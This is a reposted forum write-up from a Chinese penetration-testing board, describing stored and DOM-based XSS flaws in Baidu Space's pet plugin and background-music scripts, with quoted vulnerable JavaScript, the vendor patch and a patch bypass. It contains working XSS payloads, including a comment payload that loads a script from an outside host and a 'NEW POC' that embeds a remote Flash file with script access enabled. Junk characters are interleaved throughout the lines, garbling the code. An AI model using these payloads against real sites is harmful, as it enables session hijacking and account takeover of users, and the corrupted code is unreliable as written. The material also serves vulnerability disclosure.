中国网络渗透测试联盟

标题: hi.baidu Xss 漏洞 [打印本页]

作者: admin    时间: 2013-8-24 11:51
标题: hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
  z$ j) e5 ]" \, u2 c4 Z8 P" Z* M0 H5 U: R5 o. a/ T# ?- E
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
# ~3 y0 r/ W* U/ h9 j7 b4 _* a2.在http://hi.baidu.com/ui/scripts/pet/pet.js中    V0 v$ r9 k- L1 Q- x
, U! Z" n8 l. I! q# x# ]9 J
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  + v5 V5 [+ G' N' }8 B/ ~
其中BdUtil.insertWBR为  
4 _% A0 {* w0 E2 a# Q6 D( Pfunction(text, step) {  
% q7 U7 J% x  o6 R- n: u    var textarea = textAreaCache || getContainer();  
( X1 e! A/ j- H& {' \6 P. f% Y    if (!textarea) {  
4 J* k4 ~# z+ w: T& T# C        return text;  ; ]1 N% X( U# N7 H1 R& V* B
    }  
% T# p7 P6 b$ d5 q    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  - r5 D: h  @9 w" r
    var string = textarea.value;  
8 ~" N- L1 Y- Z/ ^    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  : ^, H& i3 r: R) P  b( _
    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  7 I3 l: \- Q4 l8 z' w5 b, G
    return result;  7 n' g# P6 t+ v$ G0 @$ a, X1 t
}  
9 @* M% Z' S$ ?2 v, M在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  
- R4 B0 T# v2 P6 ~3 I: m测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  # k2 c1 Y) X. \+ T* e* y4 F
   # h- C* D- f- x1 Z% @* V* G* [
二:creatbgmusic() Dom-Xss Bug  : H/ S% m" k2 D1 L+ ?
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
% r7 Z: N' K/ \1 k* U# Z7 Z( w8 ]7 V( ^
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  $ Z7 @; t1 L* h+ m$ B7 k% U* B

) }4 F( }3 F; jfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
" J$ _3 I6 `' W, C    //传入的murl赋值到bgmusic1和bgmusic2中  
/ v& B( f* Y$ C6 q( A- _/ H* B    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1    z( k3 l" W7 R& D* R: d8 v1 |$ K  c
    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
4 m/ i- P# L$ [6 g- w    if (musicnum <= 1) {  ( V1 f2 s8 v7 U/ U
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
- J5 p9 N+ ?' T6 s/ f    }  
5 U1 J8 H- P) C6 ?! X0 U  b, ?    bgmusic1 += "</OBJECT>";  ( |: b) g6 {8 \! w
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
" k6 Y% F/ o* I0 v    if (musicnum <= 1) {  * q- ^5 p7 \! n$ l# k6 ~. l$ N
        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  
$ Q; n# ^# {5 `    }  9 `. w' O. s, w' n
    bgmusic2 += "> </EMBED>";  
: ?" u+ }6 h5 `$ n# L' [; }    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  
3 j+ Y9 |8 e, T* a5 B- O    var bgmus = detectWMP();  
4 ?/ c3 b2 P6 E+ S    if (functype == "FckMusicHelper") {  5 N0 t1 Q5 G+ c6 k4 t/ ^
        if (bgmus.installed) {  4 V. n7 p# ~& b; i
            if (bgmus.type == "IE") {  $ ?* B% p) Z6 J$ d' ^7 Y
                return bgmusic1;  , E1 X' v6 Z+ t; w( |" Z
            } else if (bgmus.type == "NS") {  
/ V7 ], }! I- r1 o) }                return bgmusic2;  
7 x, O7 [) ?- G; m* D, c0 |* Q. p            }  
) {9 U7 }" ^/ Y7 ?+ Q        } else {  5 l$ T/ `2 Z" ^: \
            return bgmusic3;  
: k* @/ ^6 i! ]- Q! g6 L        }  " H9 t! W2 S! ]5 r% n) g
    } else {  . r6 |  J0 A2 q" y+ d8 i% m
        if (bgmus.installed) {  
& j/ ?, U& n" C: U6 Z            //document.write 直接输出bgmusic变量 导致xss  : h" P) y5 L4 F' b( U) r
            if (bgmus.type == "IE") {  * Z; P* X  @- s& I2 R9 Y; d
                document.write(bgmusic1);  
( I, B* f2 Q. g8 a            } else if (bgmus.type == "NS") {  + I; m+ a8 l1 w
                document.write(bgmusic2);  " q1 C3 Y5 g* H( X4 R4 A
            }  2 ^' e8 f* a' b/ e
        } else {  
1 d) c( q/ T2 s7 W. e            document.write(bgmusic3);  
! H. ?6 s  O& Q1 z! [        }  
/ _- R- q6 y- a5 m" p+ h        return "";  ; S  R" x2 u. ~0 u" o% }3 b
    }  
1 _1 F+ \) o' \}  9 n3 ~  P2 `+ f+ L3 ^- _1 q0 `
$ U, [7 q! G: ]9 i5 K
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  , n0 i. U) N) z  g2 H
" K& o  k' |4 l; _! o! X! q" {
function initBlogTextForFCK(){  8 k4 k- L8 x$ |
//fck init music  " q5 p0 G/ G5 }! ]$ \7 O) E( D
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
% h. ]' y: e$ N. [9 xvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  
& B1 p! G3 G+ k3 h( Y5 v) ], Yvar isAutoPlay=true;  
/ j  y3 g5 W* G0 d4 J/ x# f9 afor(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  1 Y1 h! _' {, F1 A  N8 x5 _
  var img=imgBox;  - r1 O' d$ \2 K8 ]' j
  if(img.getAttribute(’rel’)){        
$ |, Y- K5 E7 I1 e   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
% o  g5 o% z. M. u   var musicDiv = document.createElement("SPAN");  % G7 v' f  L9 x+ D% M
   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
0 |. \$ A4 P! J; S: {     0 m/ R" B( \3 _0 W/ V: B+ j1 j
      ..........................  
+ C  W: C- K: q! d; C1 L! J* A     3 i3 N8 T: k$ }7 K4 I$ E+ \
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   : W" z" M3 O1 M2 l( Q8 _# ^, g
   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);    Q/ X- [, A$ C: I
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
/ |' F, U* j- e9 |0 Z  `   musicDiv.innerHTML=shtml;  
5 ?6 Q) u& x0 n' d# @# q   i--;n--;  
& z8 q  _0 T$ T0 S% k  }  ' e) _/ ~% n2 S% u3 \" u
}  3 T: X' u$ a/ Q7 I& X# |: a5 a
9 j5 i9 ~- x( o. X; O" I6 G
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  0 H* b5 r- o4 p7 L
   - y8 z4 U8 l+ R: ~. T# @# U$ r
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  , ?( i8 h9 M6 T7 B' m/ N: b

/ P& {2 Z) @7 a$ n2 ?等待官方补丁  
) ]& I6 N* g" H) }* v4 `- L1 }+ B! D2 d4 I1 B2 }- `% ]! q
update 2010年5月13日   
: E; [: H9 V. f& @. |" c; P8 M! l3 L( Q% f0 J. y5 q( n* V6 s( A
官方补丁:  
# s+ n" ?0 r7 S- Y, Z4 X# H$ R, @7 A8 i5 s1 M
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  9 Y$ S* w7 R' B2 e3 f
改为:  % E: |0 {2 Z6 k6 z
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
( s: V& A: M' H, r2 S9 ^% ]& x& ]) U5 ~7 F+ P& K
update 2010年5月13日 21:50:37  % V0 t) x8 n2 b$ e2 i3 \1 T1 e

+ h8 N- C6 {" c3 G" H9 i$ d8 c' E补丁存在漏洞 没有过滤" 可以继续跨:  , K2 z! R6 o! Z
$ `0 O: k0 k! [- E9 o8 Q/ `
NEW POC:  
8 q6 Z- ~) v1 l: e) ^
$ G2 r3 Z9 y$ j( C5 {6 W! S( @<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
8 f6 q  c" {2 H, f, s$ S) _: R; l. \* S2 W5 {8 U1 f
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
- c& \! z5 z( X 7 |6 P( l$ ?6 F+ j





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2